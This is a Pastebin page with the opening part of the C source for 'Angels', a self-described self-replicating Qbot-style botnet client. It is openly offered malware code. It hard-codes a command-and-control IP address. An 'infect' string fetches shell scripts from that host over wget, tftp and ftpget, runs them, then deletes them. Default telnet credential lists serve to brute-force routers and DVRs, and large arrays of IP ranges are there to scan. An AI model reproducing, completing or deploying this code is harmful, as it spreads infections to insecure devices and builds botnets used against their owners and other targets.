ZucoCheezy

Angles-Client

Dec 1st, 2018
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 99.67 KB | None | 0 0
  1. //This Is A Basic Learning Botnet/CNC/QBOT                                              Client
  2. //No Need To Hate
  3. // Angels.php
  4. // Yes Its Self Rep At 200 Bots
  5. // PRIVATE AS OF 2/10/17
  6. // V2 Gonna Have a Echo loader                                                                    
  7.  
  8.  
  9. //Defines
  10. #define PR_SET_NAME 15
  11. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  12. #define PAD_RIGHT 1
  13. #define PAD_ZERO 2
  14. #define PRINT_BUF_LEN 12
  15. #define CMD_IAC   255
  16. #define CMD_WILL  251
  17. #define CMD_WONT  252
  18. #define CMD_DO    253
  19. #define CMD_DONT  254
  20. #define OPT_SGA   3
  21. #define STD2_STRING "dts"
  22. #define STD2_SIZE 50
  23. #define BUFFER_SIZE 1024
  24.  
  25. //===============================
  26. //Includes
  27.  
  28. #include <stdlib.h>
  29. #include <stdarg.h>
  30. #include <stdio.h>
  31. #include <sys/socket.h>
  32. #include <sys/types.h>
  33. #include <netinet/in.h>
  34. #include <arpa/inet.h>
  35. #include <netdb.h>
  36. #include <signal.h>
  37. #include <strings.h>
  38. #include <string.h>
  39. #include <sys/utsname.h>
  40. #include <unistd.h>
  41. #include <fcntl.h>
  42. #include <errno.h>
  43. #include <netinet/ip.h>
  44. #include <netinet/udp.h>
  45. #include <netinet/tcp.h>
  46. #include <sys/wait.h>
  47. #include <sys/ioctl.h>
  48. #include <net/if.h>
  49. #include <pthread.h>
  50.  
  51. //what i like to call "connect line" LMAO
  52.  
  53. unsigned char *commServer[] =
  54. {
  55.         "46.166.185.141:23"
  56. };
  57.  
  58. // Some User Agents exile Gave Me
  59.  
  60. char *useragents[] = {
  61.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  62.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  63.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  64.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  65.         "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  66.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  67.         "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  68.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  69.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  70.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  71.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  72.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  73.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  74.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  75.         "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  76.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  77.         "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  78.         "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  79.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  80.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  81.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  82.         "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  83.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  84. };
  85.  
  86. //Configs
  87.  
  88. int initConnection();
  89. int getBogos(unsigned char *bogomips);
  90. int getCores();
  91. int getCountry(unsigned char *buf, int bufsize);
  92. void makeRandomStr(unsigned char *buf, int length);
  93. int sockprintf(int sock, char *formatStr, ...);
  94. char *inet_ntoa(struct in_addr in);
  95.  
  96. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  97. uint32_t *pids;
  98. uint32_t scanPid;
  99. uint64_t numpids = 0;
  100. struct in_addr ourIP;
  101. struct in_addr ourPublicIP;
  102. unsigned char macAddress[6] = {0};
  103.  
  104. //Infect Line And More aka wget
  105.  
  106. char *infect = "cd /tmp || cd /var/system || cd /mnt || cd /root || cd /; wget http://46.166.185.141/boats.sh; chmod 777 boatsnets.sh; sh boatsnets.sh; tftp 46.166.185.141 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 46.166.185.141; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 46.166.185.141 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf boats.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";"; chmod 23 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 46.166.185.141; chmod 23 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 46.166.185.141 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";
  107. char *usernames[] = {"telnet\0", "root\0", "root\0", "admin\0", "root\0", "admin\0", "root\0", "admin\0", "user\0", "login\0", "support\0", "cisco\0", "netgear\0", "dreambox\0", "\0", "D-Link\0", "ubnt\0", "netman\0", "wlse\0", "wlseuser\0", "support\0"};
  108. char *passwords[] = {"telnet\0", "\0", "root\0", "admin\0", "1234\0", "root\0", "123456\0", "1234\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "support\0", "\0", "support\0", "cisco\0", "netgear\0", "dreambox\0", "\0", "123456789\0", "vizxv\0", "D-Link\0", "ubnt\0", "michelangelo\0", "vizxv\0", "letmein\0", "diamond\0", "changeme2\0", "NULL\0", "Cisco\0", "cmaker\0", "hsadb\0", "blender\0", "attack\0", "wlsedb\0", "wlsepassword\0", "dreambox\0", "support\0", "alpine\0","maxided\0", "raspberry\0"};
  109. char* tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};
  110. char* advances[] = {":", "ogin", "sername", "assword", "pass", "dvrdvs", (char*)0};
  111. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  112. char* successes[] = {"busybox", "$", "#", "shell", (char*)0};
  113. char* infected[] = {"METH"};
  114. char *infectedmessage = "METH";
  115. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  116. int oldranges[] = {1,1,1,1,1,1,101,101,101,103,103,103,103,103,105,106,106,109,109,109,109,109,111,112,112,112,112,112,112,113,113,113,114,114,115,115,115,115,117,117,117,118,118,118,118,118,118,118,118,119,119,119,119,120,120,120,121,121,121,121,121,121,122,122,122,122,122,122,122,122,122,122,123,123,124,124,124,124,124,124,125,125,125,125,125,125,125,125,128,128,131,131,131,132,138,14,14,14,14,14,14,14,14,14,14,14,14,140,141,148,151,162,163,165,165,166,166,166,166,166,166,166,166,167,168,173,173,173,174,175,175,175,175,175,175,175,175,176,176,177,177,177,177,177,177,177,177,178,178,178,179,179,179,179,180,181,181,181,182,182,182,182,182,182,182,182,185,185,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,187,187,187,187,188,188,189,189,189,189,189,190,190,190,190,190,190,190,190,190,190,190,190,190,190,190,190,191,191,191,191,191,191,191,191,191,191,191,191,191,192,193,193,196,196,197,198,2,2,2,2,200,200,200,200,201,201,201,201,201,201,201,201,201,201,202,202,202,202,202,202,202,203,203,203,203,203,203,203,203,203,203,206,209,209,210,210,210,210,210,210,210,210,210,210,210,210,211,211,211,211,211,211,211,211,211,211,211,211,211,211,212,212,212,213,213,213,213,213,213,213,217,218,218,219,219,219,220,220,220,220,220,220,221,221,221,221,221,222,222,222,222,222,222,223,223,223,223,24,24,27,27,27,31,31,31,31,31,31,31,36,37,37,37,37,37,37,37,37,41,41,41,41,41,41,42,42,43,43,45,45,46,46,46,46,46,46,46,46,49,49,49,49,5,5,5,5,5,5,5,5,50,52,58,58,58,58,58,59,59,59,59,59,59,60,61,61,61,61,61,61,61,61,61,61,61,61,61,61,62,64,66,68,69,70,71,72,72,74,75,77,77,77,77,78,78,78,78,78,78,79,79,79,8,80,80,80,80,80,80,80,80,80,81,81,81,81,82,82,82,82,83,83,83,83,83,83,83,83,83,84,84,84,84,85,85,85,85,85,85,85,86,86,86,86,87,87,87,88,88,88,88,88,88,88,88,89,89,89,89,89,89,90,91,91,91,91,91,91,91,92,93,93,93,94,94,94,94,94,95,95,95,95,95,95,95,95,95,95,96,98,98};
  117. int oldranges2[] = {10,176,213,232,245,4,108,231,51,193,206,25,43,62,98,105,240,161,197,232,60,86,69,163,169,219,220,67,76,11,198,53,69,99,127,160,91,93,123,16,17,128,173,175,217,220,35,36,37,194,203,92,93,237,29,51,120,121,137,58,65,73,128,160,170,178,199,2,3,52,53,54,108,200,105,106,107,119,128,28,107,127,132,24,25,26,27,7,0,46,0,108,72,248,94,160,162,167,168,174,175,177,185,191,201,33,48,93,64,204,100,254,172,132,229,130,141,154,161,241,248,251,78,142,167,238,239,255,58,126,192,201,224,226,228,231,232,121,96,113,19,22,35,69,70,87,99,136,150,208,184,40,56,57,180,138,141,226,52,65,68,70,71,72,75,76,69,87,103,106,112,113,114,115,116,117,118,119,128,129,130,133,134,135,138,148,15,155,177,178,179,183,192,194,195,201,215,218,219,226,227,233,235,236,237,242,249,251,39,46,54,56,57,58,59,60,61,62,65,67,92,95,109,50,61,95,243,3,114,149,55,96,98,121,15,155,174,175,176,178,179,252,254,40,43,48,49,50,80,194,197,199,203,241,26,31,37,6,81,83,84,98,154,34,68,205,44,246,144,227,232,235,38,103,161,205,23,124,179,222,230,240,49,55,67,71,77,103,137,151,31,41,44,62,109,123,223,236,237,238,242,249,252,253,192,102,225,102,105,111,119,16,181,213,216,217,91,92,93,105,119,195,208,216,229,232,238,239,245,254,36,37,44,103,156,179,164,190,230,232,250,46,85,57,56,65,149,233,240,127,149,66,67,69,93,145,164,166,210,7,110,170,172,174,211,212,237,242,95,99,2,31,0,1,126,135,146,163,186,23,42,8,96,1,132,143,151,158,221,77,98,143,162,34,65,74,82,115,61,239,245,242,64,149,19,29,39,42,44,48,63,136,144,145,213,11,137,140,141,199,81,82,83,167,221,137,140,187,213,244,11,120,25,30,94,95,175,148,152,177,183,230,234,235,251,32,36,7,72,78,85,176,19,108,12,36,33,87,17,219,59,151,108,209,35,94,139,158,186,188,189,61,126,142,49,40,188,221,242,249,250,54,78,82,85,19,220,45,74,151,52,53,55,11,12,132,174,22,221,233,237,24,124,22,237,238,104,105,109,173,64,95,99,110,122,53,99,117,15,239,147,204,225,234,247,248,249,28,142,200,207,212,22,248,157,102,135,137,140,158,200,221,92,100,103,190,215,29,40,56,70,152,210,227,244,37,39,46,53,69,9,30,124,207};
  118. int rangesA[] = {1,101,103,109,112,115,118,121,122,124,125,128,131,14,173,175,176,178,180,181,182,186,188,189,196,202,203,210,211,212,216,220,27,31,37,41,43,45,46,49,5,50,59,61,62,77,78,79,80,82,83,85,87,88,89,91,93,94,95};
  119. int rangesB1[] = {1,1,101,103,103,103,103,103,103,103,103,103,103,103,103,103,103,109,109,111,112,115,118,118,120,121,122,122,122,124,124,125,125,125,128,131,14,14,14,14,14,14,14,14,14,14,14,167,173,175,176,176,178,179,180,181,182,182,182,182,186,186,186,186,186,186,186,186,188,188,189,189,189,190,196,202,202,203,203,210,211,211,212,212,213,216,220,27,27,31,31,31,31,31,37,37,37,41,41,41,43,43,43,43,45,45,45,45,45,46,46,46,46,49,49,5,5,5,50,50,59,59,61,61,61,62,77,77,77,77,78,78,78,78,79,80,80,82,82,82,82,83,83,83,85,85,85,85,85,85,87,88,88,88,88,88,88,88,88,88,89,89,91,93,93,93,94,94,95,95,95,95,95,95,95};
  120. int rangesB2[] = {10,70,108,193,195,198,203,206,214,220,242,30,35,43,49,55,62,197,86,69,169,160,173,35,237,137,178,53,54,107,119,107,132,24,0,72,160,162,167,168,174,175,177,185,191,201,27,142,255,201,121,96,136,184,180,226,52,68,71,75,112,114,117,177,227,236,251,67,243,3,149,169,55,43,44,44,62,109,150,213,216,229,103,156,250,51,93,0,1,135,163,23,42,8,1,143,158,143,65,82,230,239,245,252,115,120,121,127,252,39,42,48,63,144,145,105,137,141,203,233,120,95,177,7,85,176,108,209,35,94,139,186,188,189,126,250,82,52,53,55,71,12,221,24,104,105,109,173,95,99,117,147,204,225,234,247,248,249,251,3,200,248,140,100,103,190,29,70,152,210,37,46,53,69,9};
  121. int rangesC1[] = {1,1,101,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,103,109,109,111,112,115,118,118,118,118,118,118,120,121,122,122,122,122,124,124,125,125,125,128,131,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,14,167,173,175,175,176,176,178,179,180,181,182,182,182,182,182,182,182,182,186,186,186,186,186,186,186,186,186,186,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,189,189,189,190,196,202,202,202,202,202,202,202,202,202,203,203,210,211,211,212,212,212,212,212,212,212,212,212,212,212,212,212,212,212,212,212,212,213,216,220,220,27,27,27,27,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,37,37,37,37,37,37,37,41,41,41,41,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,43,45,45,45,45,45,45,45,45,45,45,45,45,45,46,46,46,46,46,46,46,46,46,46,46,46,46,46,46,46,46,49,49,49,49,49,49,49,49,49,49,5,5,5,5,5,5,5,5,5,50,50,59,59,59,59,61,61,61,61,61,61,62,77,77,77,77,77,77,77,77,77,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,78,79,79,79,79,80,80,80,80,82,82,82,82,82,82,82,82,83,83,83,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,85,87,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,88,89,89,91,93,93,93,93,93,93,94,94,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95};
  122. int rangesC2[] = {10,70,108,193,195,195,198,198,198,203,203,203,206,214,214,220,242,242,242,30,30,30,35,35,43,49,55,62,62,62,197,86,69,169,160,173,173,173,173,173,35,237,137,178,178,53,54,107,119,107,132,24,0,72,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,162,167,167,167,168,168,168,174,174,174,174,174,174,174,175,175,175,175,175,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,177,185,185,185,185,185,185,185,185,185,185,185,185,191,191,191,191,191,201,27,142,255,201,201,121,96,136,184,180,226,52,52,68,71,71,75,75,75,112,114,117,177,227,236,251,67,67,67,243,243,243,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,149,169,55,43,44,44,44,44,44,44,44,44,44,62,109,150,213,216,229,103,103,103,103,103,156,156,156,156,156,156,156,156,156,156,156,156,156,250,51,93,93,0,0,0,1,135,163,163,163,23,23,23,23,23,23,23,23,23,23,42,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,1,1,143,158,158,158,158,143,65,82,82,230,230,230,230,239,239,239,239,245,245,245,245,245,245,245,245,245,245,245,245,245,245,245,245,252,252,252,252,252,115,115,120,120,121,121,121,127,127,252,252,252,252,39,42,42,42,42,48,48,48,48,48,48,48,48,63,63,63,63,144,144,144,144,144,144,145,145,145,145,105,137,141,141,141,141,141,141,141,203,233,120,95,95,95,177,7,7,7,7,85,176,108,108,209,35,35,35,35,94,94,139,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,186,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,188,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,189,126,126,126,126,250,250,250,82,52,52,53,53,53,55,55,71,12,221,24,104,104,104,104,104,104,104,104,104,104,104,104,104,104,104,104,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,105,109,109,109,109,173,173,173,173,173,173,173,173,173,95,95,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,117,147,147,147,147,147,204,225,225,225,225,225,225,225,225,225,225,234,234,234,234,234,234,234,234,234,234,234,234,234,234,234,234,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,247,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,248,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,249,251,3,200,248,140,100,100,100,100,103,190,29,70,152,152,152,152,152,210,37,37,37,37,37,37,37,46,46,53,53,53,69,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9};
  123. int rangesC3[] = {245,80,29,117,198,199,28,29,30,184,185,187,250,64,67,220,60,61,63,252,253,254,54,81,6,253,170,147,41,43,218,220,80,211,89,100,101,103,96,97,197,157,49,80,84,242,111,193,192,105,66,171,62,45,1,10,12,14,2,25,3,32,34,35,4,46,51,56,60,61,63,69,78,8,80,86,89,9,0,120,121,122,13,130,131,139,14,140,141,15,16,164,2,20,22,224,225,226,228,231,232,233,234,235,236,237,238,28,29,31,5,6,72,75,76,77,82,9,34,35,52,144,166,242,104,105,106,107,108,109,111,170,171,224,225,226,1,100,101,102,103,104,105,106,107,108,109,11,110,112,113,115,116,118,120,121,122,125,126,127,128,13,142,143,16,168,169,17,171,172,173,176,178,179,18,19,20,21,24,244,247,25,26,27,28,29,30,31,32,34,35,37,60,66,8,96,97,98,99,201,202,203,204,205,206,207,232,32,33,36,38,16,17,19,22,23,82,155,130,184,237,48,7,193,233,162,46,141,109,84,221,119,144,104,191,213,228,185,242,188,26,36,227,131,204,217,130,155,215,100,107,123,127,149,161,171,191,214,34,37,38,59,74,9,122,53,133,51,32,227,232,233,234,235,249,253,254,92,110,131,58,25,146,112,114,120,121,124,172,173,204,206,208,209,210,212,216,217,218,219,223,64,166,253,98,170,177,67,133,117,2,21,61,11,151,161,186,188,212,214,240,28,73,69,126,127,128,131,136,154,158,168,186,249,34,35,76,78,86,90,95,130,53,90,103,210,236,69,2,160,128,138,172,173,174,175,68,69,70,71,136,137,138,139,148,149,150,151,156,157,158,159,208,209,210,211,25,30,31,33,35,140,143,56,58,188,190,191,41,43,180,181,182,183,196,27,29,42,59,144,155,156,158,189,195,203,208,0,131,198,232,152,207,223,248,28,98,109,149,52,57,43,156,145,179,184,33,37,67,92,78,203,240,2,207,62,237,173,178,187,190,161,4,211,219,2,146,18,216,8,105,106,215,10,110,111,114,116,117,12,120,124,128,129,130,133,136,141,143,144,150,151,153,159,16,160,163,169,17,170,173,174,177,178,179,18,181,182,184,187,189,191,194,196,197,198,2,20,200,203,204,206,207,209,210,22,24,243,244,245,246,247,248,25,251,252,254,26,32,34,35,36,37,38,39,4,45,47,5,50,51,52,55,56,58,60,62,63,65,66,69,9,98,10,100,102,103,106,112,128,131,135,137,139,141,15,150,152,167,17,171,174,175,176,177,178,179,18,182,187,188,189,193,194,195,197,2,20,213,214,215,217,218,223,225,226,227,228,23,230,233,237,239,28,29,3,31,33,34,35,37,38,4,41,45,46,47,49,50,52,54,55,59,6,62,66,7,70,71,76,8,81,83,84,87,89,9,91,99,106,108,11,110,115,116,117,12,126,127,128,13,150,152,154,158,159,16,160,162,164,165,167,168,170,172,174,175,184,185,19,191,192,193,194,200,202,203,204,208,21,213,214,216,223,225,227,231,237,239,27,28,30,33,45,46,47,48,51,54,59,61,74,76,77,78,81,84,86,87,95,17,37,74,85,155,157,5,88,52,82,11,15,79,214,240,116,96,3,3,100,106,109,110,113,115,139,172,185,2,211,224,231,38,48,67,1,100,101,103,105,106,108,116,12,121,122,123,128,13,131,135,137,139,14,140,141,144,146,148,150,151,153,154,155,157,158,159,16,163,168,169,17,172,175,177,178,179,18,181,182,185,187,188,189,19,191,193,195,196,199,20,200,203,211,212,214,217,220,222,224,226,229,230,231,233,234,236,237,238,243,245,249,25,254,27,32,34,36,37,39,4,41,43,44,46,49,50,52,53,54,57,59,63,64,65,69,75,76,77,78,79,8,80,81,83,84,85,89,90,93,94,95,98,99,117,31,7,96,108,145,159,187,195,196,242,247,71,160,199,0,100,106,107,11,110,111,112,113,115,116,117,119,132,133,136,14,153,158,16,163,2,206,218,22,223,226,228,234,243,244,246,247,248,249,251,254,26,6,73,98,99,186,183,213,215,228,237,75,209,210,215,225,226,227,229,230,234,242,112,156,158,182,186,189,195,2,211,219,223,27,63,71,90,94,10,100,101,102,105,107,11,110,112,115,116,118,120,122,125,126,130,132,133,134,138,144,147,148,152,160,161,162,166,167,169,179,182,184,185,191,195,20,205,207,208,209,210,212,215,218,219,22,220,222,223,226,227,23,236,24,243,245,27,29,34,37,39,4,41,43,45,5,50,51,55,56,58,59,61,62,64,65,67,69,7,71,76,77,8,85,87,9,93,96,98,10,100,102,110,112,113,114,117,118,122,13,130,133,134,137,138,140,160,162,163,164,165,166,168,17,170,173,179,18,180,184,19,2,247,249,252,29,3,49,50,52,54,6,7,85,92,96,97,98,0,10,104,105,106,107,114,117,127,14,163,166,168,174,177,181,182,183,185,200,206,208,214,220,222,224,226,232,233,24,244,246,248,253,28,29,3,30,31,37,38,4,40,44,45,48,50,52,53,55,56,58,59,60,61,62,63,64,68,7,70,8,84,89,99,160,149,234,126,130,148,156,212,224,247,253,157,244,13,15,32,57,9,44,123,151,165,231,50,70,9,168,169,139,237,239,31,10,101,102,104,108,109,112,117,120,121,123,124,126,128,129,133,136,137,138,139,140,144,145,156,157,158,159,161,167,168,172,174,176,178,179,181,182,185,190,191,192,198,200,207,227,233,239,242,244,245,248,250,253,28,34,36,37,38,39,45,52,57,6,62,65,67,70,74,76,78,79,80,81,86,95};
  124.  
  125. // Defines And More
  126.  
  127. #define PHI 0x9e3779b9
  128. static uint32_t Q[4096], c = 362436;
  129. int dupppp = 0;
  130. int rangechoice = 1;
  131. int versionnnn = 2;
  132. int subversionnnn = 5;
  133.  
